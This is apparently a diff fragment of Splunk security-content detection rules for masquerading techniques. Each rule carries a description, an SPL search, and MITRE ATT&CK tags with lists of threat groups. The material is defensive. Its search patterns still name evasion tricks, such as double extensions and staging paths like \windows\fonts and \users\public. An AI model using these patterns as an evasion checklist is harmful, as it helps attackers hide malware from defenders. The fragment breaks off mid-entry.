"Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious RTLO detected in $process_name$ on endpoint $dest$ by user $user$.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036.002", - "mitre_attack_technique": "Right-to-Left Override", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "BRONZE BUTLER", - "BlackTech", - "Ferocious Kitten", - "Ke3chang", - "Scarlet Mimic" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Executables Or Script Creation In Suspicious Path", - "description": "The following analytic identifies the creation of executables or scripts in suspicious file paths on Windows systems. It leverages the Endpoint.Filesystem data model to detect files with specific extensions (e.g., .exe, .dll, .ps1) created in uncommon directories (e.g., \\windows\\fonts\\, \\users\\public\\). This activity is significant as adversaries often use these paths to evade detection and maintain persistence. If confirmed malicious, this behavior could allow attackers to execute unauthorized code, escalate privileges, or persist within the environment, posing a significant security threat.", - "search": "|tstats `security_content_summariesonly` values(Filesystem.file_path) as file_path count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where (Filesystem.file_name = *.exe OR Filesystem.file_name = *.dll OR Filesystem.file_name = *.sys OR Filesystem.file_name = *.com OR Filesystem.file_name = *.vbs OR Filesystem.file_name = *.vbe OR Filesystem.file_name = *.js OR Filesystem.file_name = *.ps1 OR Filesystem.file_name = *.bat OR Filesystem.file_name = *.cmd OR Filesystem.file_name = *.pif) AND ( Filesystem.file_path = *\\\\windows\\\\fonts\\\\* OR Filesystem.file_path = *\\\\windows\\\\temp\\\\* OR Filesystem.file_path = *\\\\users\\\\public\\\\* OR Filesystem.file_path = *\\\\windows\\\\debug\\\\* OR Filesystem.file_path = *\\\\Users\\\\Administrator\\\\Music\\\\* OR Filesystem.file_path = *\\\\Windows\\\\servicing\\\\* OR Filesystem.file_path = *\\\\Users\\\\Default\\\\* OR Filesystem.file_path = *Recycle.bin* OR Filesystem.file_path = *\\\\Windows\\\\Media\\\\* OR Filesystem.file_path = *\\\\Windows\\\\repair\\\\* OR Filesystem.file_path = *\\\\AppData\\\\Local\\\\Temp* OR Filesystem.file_path = *\\\\PerfLogs\\\\*) by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.user | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `executables_or_script_creation_in_suspicious_path_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Amadey", - "AsyncRAT", - "Azorult", - "BlackByte Ransomware", - "Brute Ratel C4", - "CISA AA23-347A", - "Chaos Ransomware", - "DarkCrystal RAT", - "DarkGate Malware", - "Data Destruction", - "Double Zero Destructor", - "Graceful Wipe Out Attack", - "Hermetic Wiper", - "IcedID", - "Industroyer2", - "LockBit Ransomware", - "NjRAT", - "PlugX", - "Qakbot", - "RedLine Stealer", - "Remcos", - "Rhysida Ransomware", - "Snake Keylogger", - "Swift Slicer", - "Trickbot", - "Volt Typhoon", - "Warzone RAT", - "WhisperGate", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious executable or scripts with file name $file_name$, $file_path$ and process_id $process_id$ executed in suspicious file path in Windows by $user$", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Execution of File with Multiple Extensions", - "description": "The following analytic detects the execution of files with multiple extensions, such as \".doc.exe\" or \".pdf.exe\". This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the file name contains double extensions. This activity is significant because attackers often use double extensions to disguise malicious executables as benign documents, increasing the likelihood of user execution. If confirmed malicious, this technique can lead to unauthorized code execution, potentially compromising the endpoint and allowing further malicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*.doc.exe\", \"*.xls.exe\",\"*.ppt.exe\", \"*.htm.exe\", \"*.html.exe\", \"*.txt.exe\", \"*.pdf.exe\", \"*.docx.exe\", \"*.xlsx.exe\", \"*.pptx.exe\",\"*.one.exe\", \"*.bat.exe\", \"*rtf.exe\") by Processes.dest Processes.user Processes.process Processes.process_name Processes.parent_process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | `execution_of_file_with_multiple_extensions_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "DarkGate Malware", - "Masquerading - Rename System Utilities", - "Windows File Extension and Association Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Parent Process", - "Attacker" - ] - } - ], - "message": "process $process$ have double extensions in the file name is executed on $dest$ by $user$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - } - ] - } - }, - { - "name": "Linux Kworker Process In Writable Process Path", - "description": "The following analytic detects the execution of a kworker process with a command line in writable directories such as /home/, /var/log, and /tmp on a Linux machine. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process paths. This activity is significant as kworker processes are typically kernel threads, and their presence in writable directories is unusual and indicative of potential malware, such as CyclopsBlink. If confirmed malicious, this could allow attackers to blend malicious processes with legitimate ones, leading to persistent access and further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process = \"*[kworker/*\" Processes.parent_process_path IN (\"/home/*\", \"/tmp/*\", \"/var/log/*\") Processes.process=\"*iptables*\" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_path Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_kworker_process_in_writable_process_path_filter`", - "tags": { - "analytic_story": [ - "Cyclops Blink", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ with kworker commandline in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036.004", - "mitre_attack_technique": "Masquerade Task or Service", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT32", - "APT41", - "BITTER", - "BackdoorDiplomacy", - "Carbanak", - "FIN13", - "FIN6", - "FIN7", - "Fox Kitten", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Naikon", - "PROMETHIUM", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Suspicious Copy on System32", - "description": "The following analytic detects suspicious file copy operations from the System32 or SysWow64 directories, often indicative of malicious activity. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes initiated by command-line tools like cmd.exe or PowerShell. This behavior is significant as it may indicate an attempt to execute malicious code using legitimate system tools (LOLBIN). If confirmed malicious, this activity could allow an attacker to execute arbitrary code, potentially leading to system compromise or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN(\"cmd.exe\", \"powershell*\",\"pwsh.exe\", \"sqlps.exe\", \"sqltoolsps.exe\", \"powershell_ise.exe\") AND `process_copy` AND Processes.process IN(\"*\\\\Windows\\\\System32\\\\*\", \"*\\\\Windows\\\\SysWow64\\\\*\") AND Processes.process = \"*copy*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id temp | `drop_dm_object_name(Processes)` | eval splitted_commandline=split(process,\" \") | eval first_cmdline=lower(mvindex(splitted_commandline,0)) | where NOT LIKE(first_cmdline,\"%\\\\windows\\\\system32\\\\%\") AND NOT LIKE(first_cmdline,\"%\\\\windows\\\\syswow64\\\\%\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` |`suspicious_copy_on_system32_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "IcedID", - "Qakbot", - "Sandworm Tools", - "Unusual Processes", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Execution of copy exe to copy file from $process$ in $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Suspicious microsoft workflow compiler rename", - "description": "The following analytic detects the renaming of microsoft.workflow.compiler.exe, a rarely used executable typically located in C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319. This detection leverages Endpoint Detection and Response (EDR) data, focusing on process names and original file names. This activity is significant because renaming this executable can indicate an attempt to evade security controls. If confirmed malicious, an attacker could use this renamed executable to execute arbitrary code, potentially leading to privilege escalation or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name!=microsoft.workflow.compiler.exe AND Processes.original_file_name=Microsoft.Workflow.Compiler.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_microsoft_workflow_compiler_rename_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Trusted Developer Utilities Proxy Execution" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious renamed microsoft.workflow.compiler.exe binary ran on $dest$ by $user$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - } - ] - } - }, - { - "name": "Suspicious msbuild path", - "description": "The following analytic detects the execution of msbuild.exe from a non-standard path. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that deviate from typical msbuild.exe locations. This activity is significant because msbuild.exe is commonly abused by attackers to execute malicious code, and running it from an unusual path can indicate an attempt to evade detection. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to system compromise and further malicious activities.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_msbuild` AND (Processes.process_path!=*\\\\framework*\\\\v*\\\\*) by Processes.dest Processes.original_file_name Processes.parent_process Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `suspicious_msbuild_path_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Trusted Developer Utilities Proxy Execution MSBuild" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Msbuild.exe ran from an uncommon path on $dest$ execyted by $user$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127.001", - "mitre_attack_technique": "MSBuild", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious MSBuild Rename", - "description": "The following analytic detects the execution of renamed instances of msbuild.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and original file names within the Endpoint data model. This activity is significant because msbuild.exe is a legitimate tool often abused by attackers to execute malicious code while evading detection. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name!=msbuild.exe AND Processes.original_file_name=MSBuild.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_msbuild_rename_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Trusted Developer Utilities Proxy Execution MSBuild" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious renamed msbuild.exe binary ran on $dest$ by $user$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127.001", - "mitre_attack_technique": "MSBuild", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious writes to windows Recycle Bin", - "description": "The following analytic detects when a process other than explorer.exe writes to the Windows Recycle Bin. It leverages the Endpoint.Filesystem and Endpoint.Processes data models in Splunk to identify any process writing to the \"*$Recycle.Bin*\" file path, excluding explorer.exe. This activity is significant because it may indicate an attacker attempting to hide their actions, potentially leading to data theft, ransomware, or other malicious outcomes. If confirmed malicious, this behavior could allow an attacker to persist in the environment and evade detection by security tools.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as file_path values(Filesystem.file_name) as file_name FROM datamodel=Endpoint.Filesystem where Filesystem.file_path = \"*$Recycle.Bin*\" by Filesystem.process_name Filesystem.process_id Filesystem.dest | `drop_dm_object_name(\"Filesystem\")` | join process_id [| tstats `security_content_summariesonly` values(Processes.user) as user values(Processes.process_name) as process_name values(Processes.parent_process_name) as parent_process_name FROM datamodel=Endpoint.Processes where Processes.process_name != \"explorer.exe\" by Processes.process_id Processes.dest | `drop_dm_object_name(\"Processes\")` | table user process_name process_id dest] | `suspicious_writes_to_windows_recycle_bin_filter`", - "tags": { - "analytic_story": [ - "Collection and Staging", - "PlugX" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious writes to windows Recycle Bin process $process_name$ on $dest$", - "risk_score": 28, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "System Processes Run From Unexpected Locations", - "description": "The following analytic identifies system processes running from unexpected locations outside `C:\\Windows\\System32\\` or `C:\\Windows\\SysWOW64`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process paths, names, and hashes. This activity is significant as it may indicate a malicious process attempting to masquerade as a legitimate system process. If confirmed malicious, this behavior could allow an attacker to execute code, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where Processes.process_path !=\"C:\\\\Windows\\\\System32*\" Processes.process_path !=\"C:\\\\Windows\\\\SysWOW64*\" by Processes.dest Processes.user Processes.parent_process Processes.process_path Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_hash | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `is_windows_system_file_macro` | `system_processes_run_from_unexpected_locations_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware", - "Masquerading - Rename System Utilities", - "Qakbot", - "Ransomware", - "Suspicious Command-Line Executions", - "Unusual Processes", - "Windows Error Reporting Service Elevation of Privilege Vulnerability" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "A System process $process_name$ is running from $process_path$ on $dest$, potentially non-standard.", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Debugger Tool Execution", - "description": "This analysis detects the use of debugger tools within a production environment. While these tools are legitimate for file analysis and debugging, they are abused by malware like PlugX and DarkGate for malicious DLL side-loading. The hunting query aids Security Operations Centers (SOCs) in identifying potentially suspicious tool executions, particularly for non-technical users in the production network.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"x32dbg.exe\" OR Processes.process_name = \"x64dbg.exe\" OR Processes.process_name = \"windbg.exe\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_debugger_tool_execution_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware", - "PlugX" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "a debugger $process_name$ is executed in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows DotNet Binary in Non Standard Path", - "description": "The following analytic detects the execution of native .NET binaries from non-standard directories within the Windows operating system. It leverages Endpoint Detection and Response (EDR) telemetry, comparing process names and original file names against a predefined lookup using the `is_net_windows_file_macro` macro. This activity is significant because adversaries may move .NET binaries to unconventional paths to evade detection and execute malicious code. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where NOT (Processes.process_path IN (\"*\\\\Windows\\\\ADWS\\\\*\",\"*\\\\Windows\\\\SysWOW64*\", \"*\\\\Windows\\\\system32*\", \"*\\\\Windows\\\\NetworkController\\\\*\", \"*\\\\Windows\\\\SystemApps\\\\*\", \"*\\\\WinSxS\\\\*\", \"*\\\\Windows\\\\Microsoft.NET\\\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_path Processes.process_id Processes.parent_process_id | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `is_net_windows_file_macro` | `windows_dotnet_binary_in_non_standard_path_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Masquerading - Rename System Utilities", - "Ransomware", - "Signed Binary Proxy Execution InstallUtil", - "Unusual Processes", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ from a non-standard path was identified on endpoint $dest$ by user $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil in Non Standard Path", - "description": "The following analytic detects the execution of InstallUtil.exe from non-standard paths. It leverages Endpoint Detection and Response (EDR) data, focusing on process names and original file names outside typical directories. This activity is significant because InstallUtil.exe is often used by attackers to execute malicious code or scripts. If confirmed malicious, this behavior could allow an attacker to bypass security controls, execute arbitrary code, and potentially gain unauthorized access or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM 